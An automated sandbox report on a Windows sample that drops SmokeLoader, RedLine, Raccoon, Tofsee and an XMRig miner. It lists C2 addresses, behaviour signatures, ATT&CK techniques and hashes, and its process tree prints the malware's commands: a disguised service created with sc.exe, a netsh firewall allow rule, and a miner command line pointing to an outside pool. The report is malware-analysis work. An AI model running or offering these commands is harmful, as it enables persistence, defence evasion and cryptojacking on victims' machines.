Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    26-09-2021 07:10

General

  • Target

    02d4f0634b7dddcc91864649c92885fa.exe

  • Size

    145KB

  • MD5

    02d4f0634b7dddcc91864649c92885fa

  • SHA1

    f033b5245a2c7591cf37a56b37a7c587f313af97

  • SHA256

    c4776d0c137ffdd7c1961d39d00c47625b56aa259391d042ab19bba938225653

  • SHA512

    ec5299f39da5899a9222a83c197a7ecd77dbbbf49ac8975f8793fc2021e669b7e563aa5ac83822f464c6dcd43e2d6b1c1216f3ac6dc0602575fd090a8343ce16

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://naghenrietti1.top/

http://kimballiett2.top/

http://xadriettany3.top/

http://jebeccallis4.top/

http://nityanneron5.top/

http://umayaniela6.top/

http://lynettaram7.top/

http://sadineyalas8.top/

http://geenaldencia9.top/

http://aradysiusep10.top/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

qq

C2

135.181.142.223:30397

Extracted

Family

raccoon

Botnet

5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 3 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 8 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 12 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\02d4f0634b7dddcc91864649c92885fa.exe
    "C:\Users\Admin\AppData\Local\Temp\02d4f0634b7dddcc91864649c92885fa.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1128
    • C:\Users\Admin\AppData\Local\Temp\02d4f0634b7dddcc91864649c92885fa.exe
      "C:\Users\Admin\AppData\Local\Temp\02d4f0634b7dddcc91864649c92885fa.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1144
  • C:\Users\Admin\AppData\Local\Temp\FA64.exe
    C:\Users\Admin\AppData\Local\Temp\FA64.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1696
    • C:\Users\Admin\AppData\Local\Temp\FA64.exe
      C:\Users\Admin\AppData\Local\Temp\FA64.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:320
  • C:\Users\Admin\AppData\Local\Temp\FDDF.exe
    C:\Users\Admin\AppData\Local\Temp\FDDF.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:812
    • C:\Users\Admin\AppData\Local\Temp\FDDF.exe
      C:\Users\Admin\AppData\Local\Temp\FDDF.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:588
  • C:\Users\Admin\AppData\Local\Temp\7A0.exe
    C:\Users\Admin\AppData\Local\Temp\7A0.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:1264
  • C:\Users\Admin\AppData\Local\Temp\D7A.exe
    C:\Users\Admin\AppData\Local\Temp\D7A.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:604
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hysdcwug\
      2⤵
        PID:1656
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\nlamgcnd.exe" C:\Windows\SysWOW64\hysdcwug\
        2⤵
          PID:1444
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hysdcwug binPath= "C:\Windows\SysWOW64\hysdcwug\nlamgcnd.exe /d\"C:\Users\Admin\AppData\Local\Temp\D7A.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:624
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description hysdcwug "wifi internet conection"
            2⤵
              PID:1004
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start hysdcwug
              2⤵
                PID:1168
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:972
              • C:\Windows\SysWOW64\hysdcwug\nlamgcnd.exe
                C:\Windows\SysWOW64\hysdcwug\nlamgcnd.exe /d"C:\Users\Admin\AppData\Local\Temp\D7A.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:1124
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:1276
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:828
              • C:\Users\Admin\AppData\Local\Temp\258D.exe
                C:\Users\Admin\AppData\Local\Temp\258D.exe
                1⤵
                • Executes dropped EXE
                PID:1628

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Virtualization/Sandbox Evasion

              1
              T1497

              Credential Access

              Credentials in Files

              2
              T1081

              Discovery

              Query Registry

              4
              T1012

              Virtualization/Sandbox Evasion

              1
              T1497

              System Information Discovery

              4
              T1082

              Peripheral Device Discovery

              1
              T1120

              Collection

              Data from Local System

              2
              T1005

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\258D.exe
                MD5

                61b63e3afdd0b69a833668b6974f5eef

                SHA1

                f08a41a33786217d7b1df1fb19922a5eda49643c

                SHA256

                25280a498dde697ac34178551038e3fccc681c6982464868487b78bba2aea53b

                SHA512

                dd64b0a17593b31cba8d6173eba98a13c17fadddcaa340794c223a9868f3acf2d9d080ec84cd72f099e23f96c20e7db8a154b718e51db1205e8bd7a6ce62e4f1

              • C:\Users\Admin\AppData\Local\Temp\7A0.exe
                MD5

                f853fe6b26dcf67545675aec618f3a99

                SHA1

                a70f5ffd6dac789909ccb19dfb31272a520c7bc0

                SHA256

                091ba447af0f0cabd66484b3f81e909ca01be4e27db9ccf42779174e04dad57a

                SHA512

                4764e88d5bdcf88447e0782c88fec18f5a1083b460829e16635a8602173f1a6813d3ff93866bef587f9f9b682451d4386bd765b2da580c69f7483b48f074bbd3

              • C:\Users\Admin\AppData\Local\Temp\D7A.exe
                MD5

                7a78a6f842b330bc684cdda11ab74aa6

                SHA1

                a82f763272099af37c783f84b3f8bc40c53a3baa

                SHA256

                8004d9880f148d86544d90cf8d516eefc8571561d1635c03bc91bbb10be11be6

                SHA512

                c9ec2869ee5eebcf0e35379c93c9266f84cac02d7f9d8957da3aea2daee088775d5fbec358e479202898561a2011a0c5b8ce909c62bc12b60f7271402eccddf8

              • C:\Users\Admin\AppData\Local\Temp\D7A.exe
                MD5

                7a78a6f842b330bc684cdda11ab74aa6

                SHA1

                a82f763272099af37c783f84b3f8bc40c53a3baa

                SHA256

                8004d9880f148d86544d90cf8d516eefc8571561d1635c03bc91bbb10be11be6

                SHA512

                c9ec2869ee5eebcf0e35379c93c9266f84cac02d7f9d8957da3aea2daee088775d5fbec358e479202898561a2011a0c5b8ce909c62bc12b60f7271402eccddf8

              • C:\Users\Admin\AppData\Local\Temp\FA64.exe
                MD5

                d37e1e3dd70bc0035c13ded75f27c930

                SHA1

                0e7f454578fb459f2afd7af721e844bf036597c3

                SHA256

                2d10e11cf76770ce4a4941b7abd930008b79e18306478031df821ef9ae9d5b2e

                SHA512

                381c9c9775bfbf9b82e034effe7d8b8d321d179d1eb34962d444e0fc1096df16d4301a91175bdee75bc8ed371636330634b9e56402234dccba5322055684f03e

              • C:\Users\Admin\AppData\Local\Temp\FA64.exe
                MD5

                d37e1e3dd70bc0035c13ded75f27c930

                SHA1

                0e7f454578fb459f2afd7af721e844bf036597c3

                SHA256

                2d10e11cf76770ce4a4941b7abd930008b79e18306478031df821ef9ae9d5b2e

                SHA512

                381c9c9775bfbf9b82e034effe7d8b8d321d179d1eb34962d444e0fc1096df16d4301a91175bdee75bc8ed371636330634b9e56402234dccba5322055684f03e

              • C:\Users\Admin\AppData\Local\Temp\FA64.exe
                MD5

                d37e1e3dd70bc0035c13ded75f27c930

                SHA1

                0e7f454578fb459f2afd7af721e844bf036597c3

                SHA256

                2d10e11cf76770ce4a4941b7abd930008b79e18306478031df821ef9ae9d5b2e

                SHA512

                381c9c9775bfbf9b82e034effe7d8b8d321d179d1eb34962d444e0fc1096df16d4301a91175bdee75bc8ed371636330634b9e56402234dccba5322055684f03e

              • C:\Users\Admin\AppData\Local\Temp\FDDF.exe
                MD5

                8df6ef1e48d3a33226c91bf4a93b0c8a

                SHA1

                e70ed102babe577b9481be056cb8cc0564bdc669

                SHA256

                5c08f9fc48f867d84001477316d7235e73483cc3fc6ac0f94ebd68564da016cd

                SHA512

                d5e021bfd927ebd9ce585bafe88970ea576f4e27752940e087a03d18568787d7442735495703cd8c02a4988e4ab13fcfc089956c9b109d250227b947b8dab1d0

              • C:\Users\Admin\AppData\Local\Temp\FDDF.exe
                MD5

                8df6ef1e48d3a33226c91bf4a93b0c8a

                SHA1

                e70ed102babe577b9481be056cb8cc0564bdc669

                SHA256

                5c08f9fc48f867d84001477316d7235e73483cc3fc6ac0f94ebd68564da016cd

                SHA512

                d5e021bfd927ebd9ce585bafe88970ea576f4e27752940e087a03d18568787d7442735495703cd8c02a4988e4ab13fcfc089956c9b109d250227b947b8dab1d0

              • C:\Users\Admin\AppData\Local\Temp\FDDF.exe
                MD5

                8df6ef1e48d3a33226c91bf4a93b0c8a

                SHA1

                e70ed102babe577b9481be056cb8cc0564bdc669

                SHA256

                5c08f9fc48f867d84001477316d7235e73483cc3fc6ac0f94ebd68564da016cd

                SHA512

                d5e021bfd927ebd9ce585bafe88970ea576f4e27752940e087a03d18568787d7442735495703cd8c02a4988e4ab13fcfc089956c9b109d250227b947b8dab1d0

              • C:\Users\Admin\AppData\Local\Temp\nlamgcnd.exe
                MD5

                b209c4a676a24fa8d1cf077343135a0c

                SHA1

                5ba9128e23eebbb5f0ab87a9e696d3922aa75b56

                SHA256

                c1cb51b860eb5e5dac3648a0a3cee1b72488f57e25700684de06d767ad49236e

                SHA512

                11685882a7d9dc2acc80677c6d316bbccdd32266e9ca8d0bd468dc4f6a54e3099e93c64ce47db29b64b30b623aca7e0c2055c5edd69c2d530075d17d092b109a

              • C:\Windows\SysWOW64\hysdcwug\nlamgcnd.exe
                MD5

                b209c4a676a24fa8d1cf077343135a0c

                SHA1

                5ba9128e23eebbb5f0ab87a9e696d3922aa75b56

                SHA256

                c1cb51b860eb5e5dac3648a0a3cee1b72488f57e25700684de06d767ad49236e

                SHA512

                11685882a7d9dc2acc80677c6d316bbccdd32266e9ca8d0bd468dc4f6a54e3099e93c64ce47db29b64b30b623aca7e0c2055c5edd69c2d530075d17d092b109a

              • \Users\Admin\AppData\Local\Temp\FA64.exe
                MD5

                d37e1e3dd70bc0035c13ded75f27c930

                SHA1

                0e7f454578fb459f2afd7af721e844bf036597c3

                SHA256

                2d10e11cf76770ce4a4941b7abd930008b79e18306478031df821ef9ae9d5b2e

                SHA512

                381c9c9775bfbf9b82e034effe7d8b8d321d179d1eb34962d444e0fc1096df16d4301a91175bdee75bc8ed371636330634b9e56402234dccba5322055684f03e

              • \Users\Admin\AppData\Local\Temp\FDDF.exe
                MD5

                8df6ef1e48d3a33226c91bf4a93b0c8a

                SHA1

                e70ed102babe577b9481be056cb8cc0564bdc669

                SHA256

                5c08f9fc48f867d84001477316d7235e73483cc3fc6ac0f94ebd68564da016cd

                SHA512

                d5e021bfd927ebd9ce585bafe88970ea576f4e27752940e087a03d18568787d7442735495703cd8c02a4988e4ab13fcfc089956c9b109d250227b947b8dab1d0

              • memory/320-70-0x0000000000402FA5-mapping.dmp
              • memory/588-84-0x0000000000400000-0x0000000000422000-memory.dmp
                Filesize

                136KB

              • memory/588-87-0x0000000000930000-0x0000000000931000-memory.dmp
                Filesize

                4KB

              • memory/588-82-0x000000000041C5CE-mapping.dmp
              • memory/588-81-0x0000000000400000-0x0000000000422000-memory.dmp
                Filesize

                136KB

              • memory/604-79-0x0000000000000000-mapping.dmp
              • memory/604-92-0x0000000000400000-0x00000000004AF000-memory.dmp
                Filesize

                700KB

              • memory/604-91-0x0000000000220000-0x0000000000233000-memory.dmp
                Filesize

                76KB

              • memory/624-96-0x0000000000000000-mapping.dmp
              • memory/812-63-0x00000000011C0000-0x00000000011C1000-memory.dmp
                Filesize

                4KB

              • memory/812-66-0x0000000004720000-0x0000000004721000-memory.dmp
                Filesize

                4KB

              • memory/812-60-0x0000000000000000-mapping.dmp
              • memory/828-114-0x0000000000210000-0x0000000000301000-memory.dmp
                Filesize

                964KB

              • memory/828-118-0x00000000002A259C-mapping.dmp
              • memory/972-100-0x0000000000000000-mapping.dmp
              • memory/1004-97-0x0000000000000000-mapping.dmp
              • memory/1124-105-0x0000000000400000-0x00000000004AF000-memory.dmp
                Filesize

                700KB

              • memory/1128-56-0x0000000000220000-0x0000000000229000-memory.dmp
                Filesize

                36KB

              • memory/1144-53-0x0000000000400000-0x0000000000409000-memory.dmp
                Filesize

                36KB

              • memory/1144-55-0x0000000074B41000-0x0000000074B43000-memory.dmp
                Filesize

                8KB

              • memory/1144-54-0x0000000000402FA5-mapping.dmp
              • memory/1168-98-0x0000000000000000-mapping.dmp
              • memory/1264-77-0x0000000000200000-0x0000000000201000-memory.dmp
                Filesize

                4KB

              • memory/1264-73-0x0000000000000000-mapping.dmp
              • memory/1264-86-0x0000000000AD0000-0x0000000000AD1000-memory.dmp
                Filesize

                4KB

              • memory/1276-106-0x00000000000C0000-0x00000000000D5000-memory.dmp
                Filesize

                84KB

              • memory/1276-107-0x00000000000C9A6B-mapping.dmp
              • memory/1360-93-0x0000000003DB0000-0x0000000003DC6000-memory.dmp
                Filesize

                88KB

              • memory/1360-112-0x000007FEF4E00000-0x000007FEF4F43000-memory.dmp
                Filesize

                1.3MB

              • memory/1360-113-0x000007FF6E150000-0x000007FF6E15A000-memory.dmp
                Filesize

                40KB

              • memory/1360-57-0x00000000026E0000-0x00000000026F6000-memory.dmp
                Filesize

                88KB

              • memory/1444-94-0x0000000000000000-mapping.dmp
              • memory/1628-101-0x0000000000000000-mapping.dmp
              • memory/1628-110-0x00000000002C0000-0x0000000000350000-memory.dmp
                Filesize

                576KB

              • memory/1628-111-0x0000000000400000-0x00000000004F2000-memory.dmp
                Filesize

                968KB

              • memory/1656-90-0x0000000000000000-mapping.dmp
              • memory/1696-58-0x0000000000000000-mapping.dmp